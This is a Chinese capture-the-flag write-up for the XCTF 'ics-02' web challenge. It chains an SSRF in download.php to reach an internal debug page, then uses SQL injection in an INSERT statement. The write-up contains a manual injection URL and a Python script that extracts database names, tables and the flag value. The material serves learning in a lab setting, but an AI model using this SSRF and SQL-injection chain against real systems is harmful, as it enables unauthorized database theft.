攻防世界 WEB ics-02

考的是sql注入,结合之前的ics系列,肯定要从唯一有用的a链接入手,发现文档中心可以进入,点进去,又发现一个a链接

 <a href="download.php?dl=ssrf">paper. </a>

下下来download.php,打开可以发现pdf之类的头,那么就是个pdf,结合ssrf的提示,后面可能会有用
然后扫一波目录,发现/secrets目录
发现里面有secret_debug.php和secret.php两个文件,其中debug文件不能直接访问,那么ssrf大概就在这了,简单来说,就是你能访问有外部端口作为代理
来访问内网本来你访问不到的资源
先看一下做好的secret.php,进行注册,逻辑应该是insert
既然有debug页面,那么正常页面应该是不会有错的,分析一下大佬的脚本。。。
用download.php里面的ssrf漏洞去执行debug.php,尝试sql注入
s=3是待注入的目标页面
先自己手工注一下看下原理吧

http://111.200.241.244:50054/download.php?dl=http://127.0.0.1/secret/secret_debug.php?s=3%26txtfirst_name=1234'%26txtmiddle_name=1234%26txtname_suffix=asdf%26txtLast_name=asdf%26txtdob=12%26txtdl_nmbr=3%26txtRetypeDL=3%26a=3

这里从回显可以很明显的看出来存在sql注入,我在1234后面加了一个’于是在那里报错
注意%26 url解码是&;这是由前端浏览器自动做的,由于后端apache会再做一次编码转换,最后被转换为&
当然也可以直接写脚本一次编码,或者在burpsuite里面手动改包,看个人喜好
直接给一个大佬的脚本吧

import requests
import random
import urllib

url = 'http://111.200.241.244:50054/download.php'

# subquery = "database()"
# ssrfw
# subquery = "select table_name from information_schema.tables where table_schema='ssrfw' LIMIT 1"
# cetcYssrf
# subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1"
# secretname -> flag
# subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1, 1"
subquery = "select value from cetcYssrf LIMIT 1"

id = random.randint(1, 10000000)

d = ('http://127.0.0.1/secret/secret_debug.php?' +
        urllib.parse.urlencode({
            "s": "3",
            "txtfirst_name": "L','1',("+subquery+"),'1'/*",
            "txtmiddle_name": "m",
            "txtLast_name": "y",
            "txtname_suffix": "Esq.",
            "txtdob": "*/,'01/10/2021",
            "txtdl_nmbr": id,
            "txtRetypeDL": id,
            "btnContinue2":"Continue"
            })
)


r = requests.get(url, params={"dl": d})
print(d)
print(r)
print(r.text)

参考视频链接:https://www.bilibili.com/video/BV1Rq4y1P7V5/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值